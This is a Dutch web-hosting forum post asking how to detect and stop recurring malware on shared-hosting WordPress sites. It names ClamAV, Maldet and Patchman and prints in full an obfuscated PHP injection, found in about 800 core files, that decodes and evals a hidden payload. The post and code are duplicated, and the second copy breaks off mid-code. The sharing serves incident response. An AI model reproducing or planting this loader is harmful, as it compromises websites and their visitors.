Kevin Bentlage
03/02/15, 13:36
Beste,
Er zijn al verscheidende topics over het bestrijden van Malware, echter blijven er continue maar nieuwe soorten malware komen en kost het ons, en waarschijnlijk vele andere, steeds meer tijd om dit te bestrijden.
Voornamelijk op shared hosting servers van klanten komen wij deze problemen bijna dagelijks tegen, eigenlijk alleen in Wordpress websites. Soms glipt er een verouderde Joomla installatie door.
We hebben al gebruik gemaakt van tools zoals ClamAV, Maldet en Patchman, deze vinden een hele hoop maar helaas niet alles (en ik snap dat dit ook niet mogelijk is) waardoor er toch problemen blijven ontstaan, dit varieert van "opeens" niet meer werkende websites, tot bulkmail en (zichtbaar) gehackte websites. En ook begin ik langzaam maar zeker mijn handen in het haar te steken als het gaat om het vinden van een goede oplossing hiervoor. (opruimen van deze zooi kunnen we natuurlijk blijven doen totdat we een ons wegen).
Zo kwam ik afgelopen weekend een Wordpress site tegen waarin +- 800 bestanden (voornamelijk /wp-includes en /wp-admin) voorzien waren van een lap PHP code (zie onderstaand), toevallig lijkt de code op het eerste oog gelijk te zijn bij deze bestanden en is deze aan het bestand geprepend (nog boven de comments van wordpress), en ik heb dus een lijstje kunnen maken door op een willekeurige string in deze code te greppen.
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x 45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $arxqlcwhmb = '48y]#>s%x5c%x7825<#462]x787f!~!<##!>!2p%x5c%x7825Z<^f+*0f(-!#]y76]277]y72]265]y39]271824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*67]452]88]5]48]32M3]317]4c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5rr.93e:5597f-s.973:8297f:5297e:56-%x581]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5%x7824gps)%x5c%x7825j>1<%x5c%!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x!%x5c%x7825 yy)#}#-#%x5c%x7824-%x5c%x7&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x78fsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x5h%x5c%x7825%x5c%x782f#0#%x5c %x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j% x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c)sfebfI{*w%x 5c%x7825)kV%x5c%x7878{**#k#)f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825x7825%x5c%x7824-%x5c%x7824b!>5fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c28%141%x72%162%x61%171%x55c%x78 25)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*2f!#0#)idubn%x5c%x7860hd19275fubmgoj {h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe)) 1%x5{e%x5c%x7825+*!*+fepdfe{h825!|Z~!<##!>!2p%x5c%x7825!|!*!60{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%"%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**1111]y76]62]y3:]84#-!OVMM*<%c%x7824]y8%x5c%x7824-%x5c%x7824]264#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%147%x67%42%x2c%163%x74%162%x5f%163%x70%154% x69%164%50%x22%1%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-##)zbssb!-#}#)fepmqnj!%x5c%x78%x7825!*3!%x5c%x7827!hplace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x%x78b%x5c%x7825mm)%x5c%x 7825%x5c%x47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*34%x78%62%x35%165%x3a c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQ%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<!|%x5c%x7824-%x5c%x7824g7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1? x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y156%x61"]=1; function fjfgg($n){retur%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]375c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<mtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82w!>!#]y84]275]y83]273]y-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x78 60msvd}+;!>!}%x5S%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msv 7878B%x5c%x7825h>#]y31#@#7%x5c%x782f7^#iubq#%x5c%x7851L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:7597pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]if((function_exists(":**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+s:N}#-%x5c%x7825o:W%x5c%x789!%x5c%x7827!hmg%x5c%x7825)!g j!~<ofmy%x5c%x7825,3,5c%x7825)hopm3qjA)qj3hopmA%x5c%x7 8273qj%x5c%x78256<*Yc%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*C;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x782msv%x5c%x78 25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5cM8]Df#<%x5c%x7825tdz>#L4]275L5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs% x5c%x78c%x7825ggg)(0)%x5c%x782x5c%x782f#p#%x5c%x78 2f%x5c%x78uf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x782274]y85]273]y6g]273]y76]271]y7d]252]y74]256{ftmfV%x5c%x787f<*XAZASV<*w%x55c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7825c%x7878Bsfuvso!sboepn)%x5c%x7825epn%x782 5-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x41]88M4P8]37]278]225]241]334]368]322]3]364]6]283]42725j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s6Z6<.5%x5c%x7860hA%x5c%x782d}R;*msv%x5c%x7825)}.;%x5c% x7860UQPMSVD!}.}-}!#*<%x5c%x7825nfd>%x5c%x782]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y876]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825e>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,x7824-%x5c%x7824*<!~!dsfb2fqp%x5c%x7825>5h%x5c%xc%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5%x5c%x7825j:^<!%x5c%x7825w3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%%x6f%142%x5f%163%x74%141%x72%164") && (!isset($GLOBALS[3]248]y83]256]y81]265]y74-!%x5c%x7825%x5c%x7824-%x5{hnpd!opjudovg!|!**#j{hnpd#)tutjyfn chr(ord($n)-1);} @error_reporting(0); preg_re25_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5cx5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fc%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x78258256<%x5c%x787fw6*%x5ckj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:N+#Qi%x5c%x785c1^W%x5c%x78255c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce4h%x5c%x7825)n% x5c%x7825-#+I#)q%x5c%x7825:>:r%x5cs%x5c%x7860un>qp%x5c%x7x7825j=tj{fpg)%x5c%x7825%x5c%3]248L3P6L1M5]D2P4]D6#<%x5c%x78c%x7825mm!>!#]y81]273]y76]258]y6g]273]cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%l}%x5c%x7827;%x5c%x7825!<%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%tutjyf%x5c%x7860%x5c%x7878%x5c%x7 822l:!}6d%160%x6c%157%x64%145%x%x785cq%x5c%x7825)u fttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7*doj%x5c%x78257-C)fepmqnjA%x5c***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfm7&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%7825)3of:opjudovg<~%x5c%x7824<!%x45]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825N;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x78254!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825y76]271]y7d]252]y74]256#<!%x}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%xx7825ww2)%x5c%x7825w%x5c%x7860TW~% x5c%x7824<%x5c%x78e%x5c25!-uyfu%x5c%x7825)3of)fepdof%x5c%x7860{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#2]254]y76#<%x5c%x7825tm%x5c%x7860FUPNFS&d_SFSFGF%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%825t::!>!%x5c%x7824Ypp3)%x5c%x7825%x7825:|:**t%x5c%x7825)m %x5825)tpqsut>j%x5c%x7825!*25c:>1<%x5c%x7825b:>1<!gps)%x5c%x78c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w]y76]277]y72]265]y39]|:*r%x5c%x7825:-t%x5c%x%x7825bbT-%x5c%x7825bT-%x5c%x7825hWpc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k; opjudovg}%x5c%x7878;0]=])0#)U!5c%x787f_*#ujojRk3%x5c%5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x]82]y3:]62]y4c#<!%x5c%x7c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c% x7825!osvufs!*!+A!>!{e%x5c%x7825)hIr%x5c%x785c1^-%x5c%x7825r%x5c*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}25G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55L5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5457ftbc%x5c%x787f!|!*uyfu%x5c%x7827k :!ftmf!}Z;^nbsbq%x5824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5)fepmqyfA>2b%x5c%x7825!<*qp%x5cqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825w]278]y3e]81]K78:56985:6197g:74985-TOBSUOSVUFS,6<*msv%x5c%x78257-MSV]36]373P6]36]73]83]238M7]381]211M5]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x78bss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x782 5z>!tussfw)%x5c*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#x5c%x7825nfd)##Qtpz)#]3hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%mg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tp5b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785cWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x78c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji% x5c%x7878:<##:>:h]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]667R37,18R#>q%x5c%x7825V<*#fV;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;ze2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x7-#!#-%x5c%x7825tmw)%x5c%x782c%x7825%x5c%x785cSFWSFT%x5c %x7860%xcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qs vmt+fmhpph7825!<*::::::-111112)eob25)dfyfR%x5c%x7827tfs%x5c%x782f%155%x61% 160%x28%42%x66%152%x66x5c%x7825-#1]#-bubE{h%x5c%x7x5c%x785cq%x5c%x78257**^#zsfvr#%x5cx7 860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827%x5c%x7825)Rd%x5c%x7825)7,*c%x5c%x7827, *b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782 7-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGx22%51%x29%51%x29%73", NULL); }A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j {hnpk~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56j%x5c%x7825>j%x5c%x7825!<**#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7256<pd%x5c%x7825w6Z6<.3%x5787f%x5c%x787f%x5c%x787f<u%x5c%x7825opoV;hojepdoF.uofuopD#%x7860opjudovg)!g j!|!*%x5c%x7827{**u%x5c%x7825-#jt0x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fc%x7825!|!*)323zbe k!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>c%x7824*!|!%x5c%x7824-%x5c%x7#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782fvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5cV%x5c%x7827{ftmfV%x5c%x787f<*X&Z&Shmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>7878pmpusut)tpqssutRe256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5%146%x21%76%x21%50%x5c%x7825%%x785c2 ^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw )#]82#d]55#*<%x5c%x7825bG9}:eTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7 825r%x%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7%x5c%x787 f!>>%x5c%x7822!pd%x/(.*)/epreg_replacefqdgihifkh'; $rhvvdpdslo = explode(chr((204-160)),'3048,21,4773,55,1299,53,2331,37,4913,47,171 1,61,5744,24,962,25,8615,32,1530,60,1990,21,9872,2 9,2464,40,6727,67,4270,27,2922,66,9267,26,7033,64, 1590,70,143,62,1352,57,8849,59,5916,46,9402,40,373 9,64,9805,67,6687,40,3621,53,5007,64,3190,53,777,3 9,10029,49,2841,31,5577,48,8675,35,5768,60,8390,56 ,5197,22,2059,60,5828,30,6403,56,3243,61,8073,53,8 585,30,8908,38,7610,33,4131,49,6941,23,8710,51,510 ,40,1241,58,2758,61,4297,40,2635,67,1930,60,10078, 28,987,40,9351,22,3363,64,3535,57,1689,22,7974,59, 7483,56,8647,28,6628,24,3140,50,9085,27,4714,59,22 12,50,9731,53,7888,46,720,57,4879,34,5650,54,23,29 ,8330,60,6316,39,7452,31,4087,44,588,68,3304,59,87 85,64,4616,23,8561,24,5456,23,1210,31,5858,58,8509 ,52,1660,29,1063,23,550,38,9784,21,8761,24,5353,55 ,1467,63,6378,25,2702,56,9486,67,3674,65,6459,44,6 277,39,7341,54,8474,35,6964,45,7287,54,5625,25,719 7,48,9034,51,8977,57,1086,54,3069,44,1185,25,7097, 69,410,63,9293,36,9697,34,3968,30,5127,70,4529,62, 8249,27,9329,22,816,40,5704,40,8276,54,6873,68,937 3,29,6163,57,2417,47,7817,48,6794,21,3925,43,4369, 55,4828,24,6355,23,2612,23,4424,56,7678,70,4960,47 ,2368,49,9442,44,5408,48,6601,27,8126,56,2988,60,0 ,23,1806,65,6815,23,5962,33,5295,58,5539,38,6135,2 8,3998,53,4852,27,9553,29,85,58,892,29,473,37,7395 ,57,230,62,1433,34,1027,36,2119,24,9627,70,381,29, 5479,29,4591,25,3856,69,6099,36,5219,48,7009,24,65 67,34,4480,49,5267,28,2011,48,9988,41,4051,36,7748 ,69,7539,37,6055,44,7166,31,9901,65,8446,28,3427,4 6,2819,22,7576,34,292,37,4639,49,2872,50,3473,62,9 582,45,656,64,3592,29,5508,31,7245,42,9966,22,4337 ,32,921,41,6838,35,9167,39,7865,23,4180,52,7643,35 ,205,25,5995,60,1140,45,1871,59,856,36,3113,27,665 2,35,4232,38,5071,56,2504,64,8033,40,4688,26,9206, 61,7934,40,3826,30,6503,64,6220,57,1772,34,2143,69 ,9112,55,2262,69,329,52,3803,23,52,33,8182,67,2568 ,44,1409,24,8946,31'); $fnaqyeouup=substr($arxqlcwhmb,(70598-60492),(22-15)); if (!function_exists('fkyoklypic')) { function fkyoklypic($jomiljssvl, $ftmavhpqhi) { $umnzsoatap = NULL; for($vvmseuorie=0;$vvmseuorie<(sizeof($jomiljssvl)/2);$vvmseuorie++) { $umnzsoatap .= substr($ftmavhpqhi, $jomiljssvl[($vvmseuorie*2)],$jomiljssvl[($vvmseuorie*2)+1]); } return $umnzsoatap; };} $uzrtsmzsku="\x20\57\x2a\40\x74\163\x71\142\x73\171\x6d\172\x66 \147\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162 \x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x 28\50\x31\65\x38\55\x31\62\x31\51\x29\54\x20\143\x 68\162\x28\50\x36\60\x31\55\x35\60\x39\51\x29\54\x 20\146\x6b\171\x6f\153\x6c\171\x70\151\x63\50\x24\ 162\x68\166\x76\144\x70\144\x73\154\x6f\54\x24\141 \x72\170\x71\154\x63\167\x68\155\x62\51\x29\51\x3b \40\x2f\52\x20\141\x7a\150\x67\142\x6b\144\x79\160 \x78\40\x2a\57\x20"; $qszkcvgwmf=substr($arxqlcwhmb,(43989-33876),(37-25)); $qszkcvgwmf($fnaqyeouup, $uzrtsmzsku, NULL); $qszkcvgwmf=$uzrtsmzsku; $qszkcvgwmf=(389-268); $arxqlcwhmb=$qszkcvgwmf-1; ?>
Ik heb deze files opgeschoond, door o.a. de complete /wp-includes en /wp-admin mappen opnieuw te uploaden, en alle overige files met de hand op te schonen. Echter werdt ik vandaag niet blij toen ik steekproefgewijs door deze bestanden ging. Ik kwam een zelfde soort code tegen maar dan met ander inhoud (waarschijnlijk wordt dit random gegenereerd).
Ik begin me nu toch echt af te vragen of dit via een backdoor in het thema of plugins binnen komt. Wordpress is up2date en de server zelf is aardig beveiligd (het is een shared server en dus helaas niet helemaal dicht te spijkeren), zie ik geen verdachte processen draaien. Daarnaast heb ik gekeken in de FTP log maar hier zie ik geen enkele entries die mutaties hebben gedaan op één van deze bestanden (die van mezelf uitgesloten).
Het betreft een up2date DirectAdmin server met PHP 5.4, Opcache en Suhosin geïnstalleerd en laten we FTP uploads scannen door ClamAV en Suhosin. Daarnaast draaien de scripts als de gebruiker m.b.v. Mod_ruid2.
We hebben de bovenstaande site vandaag nogmaals opgeschoond, maar we kunnen er eigenlijk van uit gaan dat dit niet voldoende zal zijn en er misschien later op de dag alweer besmette bestanden te vinden zijn. De site zelf is up2date, ook de gebruikte plugins, hier zitten ook geen "vreemde" plugins bij en eigenlijk alleen maar plugins die goed staan aangeschreven. Het thema is maatwerk.
Mijn vraag is nu eigenlijk, hoe kunnen we hier nou een goede oplossing voor vinden om niet meer achter de feiten aan te lopen en om deze problemen automatisch af te vangen / tegen te houden. Hoe doen jullie dit? Welke tools worden er gebruikt om dergelijke zaken te detecteren en te bestrijden, en hoeveel last hebben jullie hier nu eigenlijk van.
Jullie reacties zijn meer dan welkom!
Er zijn al verscheidende topics over het bestrijden van Malware, echter blijven er continue maar nieuwe soorten malware komen en kost het ons, en waarschijnlijk vele andere, steeds meer tijd om dit te bestrijden.
Voornamelijk op shared hosting servers van klanten komen wij deze problemen bijna dagelijks tegen, eigenlijk alleen in Wordpress websites. Soms glipt er een verouderde Joomla installatie door.
We hebben al gebruik gemaakt van tools zoals ClamAV, Maldet en Patchman, deze vinden een hele hoop maar helaas niet alles (en ik snap dat dit ook niet mogelijk is) waardoor er toch problemen blijven ontstaan, dit varieert van "opeens" niet meer werkende websites, tot bulkmail en (zichtbaar) gehackte websites. En ook begin ik langzaam maar zeker mijn handen in het haar te steken als het gaat om het vinden van een goede oplossing hiervoor. (opruimen van deze zooi kunnen we natuurlijk blijven doen totdat we een ons wegen).
Zo kwam ik afgelopen weekend een Wordpress site tegen waarin +- 800 bestanden (voornamelijk /wp-includes en /wp-admin) voorzien waren van een lap PHP code (zie onderstaand), toevallig lijkt de code op het eerste oog gelijk te zijn bij deze bestanden en is deze aan het bestand geprepend (nog boven de comments van wordpress), en ik heb dus een lijstje kunnen maken door op een willekeurige string in deze code te greppen.
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x 45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $arxqlcwhmb = '48y]#>s%x5c%x7825<#462]x787f!~!<##!>!2p%x5c%x7825Z<^f+*0f(-!#]y76]277]y72]265]y39]271824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*67]452]88]5]48]32M3]317]4c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5rr.93e:5597f-s.973:8297f:5297e:56-%x581]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5%x7824gps)%x5c%x7825j>1<%x5c%!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x!%x5c%x7825 yy)#}#-#%x5c%x7824-%x5c%x7&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x78fsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x5h%x5c%x7825%x5c%x782f#0#%x5c %x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j% x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c)sfebfI{*w%x 5c%x7825)kV%x5c%x7878{**#k#)f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825x7825%x5c%x7824-%x5c%x7824b!>5fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c28%141%x72%162%x61%171%x55c%x78 25)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*2f!#0#)idubn%x5c%x7860hd19275fubmgoj {h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe)) 1%x5{e%x5c%x7825+*!*+fepdfe{h825!|Z~!<##!>!2p%x5c%x7825!|!*!60{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%"%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**1111]y76]62]y3:]84#-!OVMM*<%c%x7824]y8%x5c%x7824-%x5c%x7824]264#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%147%x67%42%x2c%163%x74%162%x5f%163%x70%154% x69%164%50%x22%1%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-##)zbssb!-#}#)fepmqnj!%x5c%x78%x7825!*3!%x5c%x7827!hplace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x%x78b%x5c%x7825mm)%x5c%x 7825%x5c%x47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*34%x78%62%x35%165%x3a c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQ%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<!|%x5c%x7824-%x5c%x7824g7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1? x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y156%x61"]=1; function fjfgg($n){retur%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]375c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<mtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82w!>!#]y84]275]y83]273]y-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x78 60msvd}+;!>!}%x5S%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msv 